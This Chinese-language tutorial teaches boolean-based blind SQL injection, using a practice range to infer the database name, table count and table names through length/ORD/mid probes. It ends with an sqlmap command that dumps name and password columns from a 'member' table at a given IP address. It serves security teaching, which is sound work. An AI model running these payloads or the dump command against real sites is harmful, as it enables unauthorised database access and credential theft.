您当前的位置:首页 > 计算机 > 安全防护

学习布尔盲注看这一篇就够了

时间:10-08来源:作者:点击数:

前言

很多时候,Web服务器关闭了错误回显,这时候我们该怎样实行SQL注入了呢?

这种情况我们需要采用盲注的手段了。

什么是盲注呢?

所谓的盲注就是在服务器没有错误回显的时候完成的注入攻击

盲注的类型:

布尔盲注原理

请看下面两个语句:

?id=1 and 1=1
?id=1 and 1=2

在SQL注入过程中,应用界面仅仅返回True(页面)或者False(页面)。无法根据应用程序的返回页面得到需要的数据库信息。可以通过构造逻辑判断(比较大小)来得到需要的信息。

相关函数说明

length() 函数 返回字符串的长度

substr() 截取字符串 (语法:SUBSTR(str,pos,len);)

ascii() 返回字符的ascii码

布尔盲注打靶

地址:SQL注入漏洞测试(布尔盲注)_SQL注入_在线靶场_墨者学院 https://www.mozhe.cn/bug/detail/UDNpU0gwcUhXTUFvQm9HRVdOTmNTdz09bW96aGUmozhe

测试注入点

?id=1 and 1=2   页面丢失
?id=1 and 1=1   页面正常

存在注入点,无回显,且注入类型为数字型。

判断数据库长度

?id=1 and length (database())=10

回显正常,说明数据库长度为10

拿数据库名:从第一个字符开始判断,长度为10,所以要测试10次,方法一致

用到两个函数 Ord()转换为ASCII码 ,截取字符串:mid(str,1,1)这边我们测试到第一个字符ASCII码为115,经查询是 's'

?id=1 and  ORD(mid(database(),1,1))=115

经过10轮测试,数据库名为:stormgroup

获取表的数量

?id=1 and  (select count(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database() )= 2

获取表的长度

?id=1 and  (select length(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database() limit 0,1)= 6

获取表名

?id=1 and  ord( mid( (   select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=database() limit 0,1  ),1,1  )  )=109

剩下的拿字段和数据都是同理,这里只做原理演示

布尔盲注的话还是建议用SQLMap跑,不然太麻烦了。

python sqlmap.py -u http://124.70.71.251:42965/new_list.php?id=1 -D stormg
roup -T member -C name,password --dump

总结

布尔盲注适合的条件:

  • 网页无回显
  • 网页的反应只有false和true两种情况

我们在盲注的时候实际上并没有通过修改参数来获取信息,因为网页无回显的,而是通过 and 条件 ,条件为真,说明猜测正确,网页正常,条件为假,猜测错误,网页丢失。这个过程是通过 && 条件 来判断的。

方便获取更多学习、工作、生活信息请关注本站微信公众号城东书院 微信服务号城东书院 微信订阅号
推荐内容
相关内容
栏目更新
栏目热门